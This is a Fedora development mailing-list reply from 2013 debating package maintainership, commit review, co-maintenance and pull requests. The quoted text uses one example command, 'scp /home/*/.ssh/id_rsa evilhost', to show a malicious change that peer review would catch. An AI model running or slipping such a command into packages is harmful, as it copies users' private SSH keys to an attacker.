On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro <mike.catanzaro@xxxxxxxxx> wrote: > Well the open model has already been tried and proven in openSUSE, and > they're still using it because it actually works really well. There > aren't usually any issues regarding overlap of work, though admittedly > that community is a smaller than Fedora's. Well, I think our model is working pretty well too. ;) Nothing is perfect for sure... > It's hard to get away with > scp /home/*/.ssh/id_rsa evilhost because every change is always > reviewed by a small group of maintainers responsible for a collection > of packages. Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. I encourage folks to subscribe and read commit emails. > I certainly think Fedora could benefit a lot from at least a slightly > more collaborative approach. For example, in openSUSE when there is a > problem with an really easy fix, I make a bugzilla report, fix it, my > request gets accepted (or not) a few days later, and problem solved. > In Fedora when there is a problem with an easy fix, I make a bugzilla > report, it gets assigned to someone awesome enough to have 200-800 > other open bugs to deal with, and nothing happens for two months > until a provenpackager stumbles upon the bug. You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change. > We already use git, so the simple solution with minimal change to the > status quo is to leave the maintainership model as-is and add pull > requests. (That said I'm not advocating this as I have zero Fedora > packaging experience; I'm just trying to get this conversation off the > ground.) Well, you can already do this, but perhaps not as automated and nice as github. You can attach a patch to a bug, no? kevin
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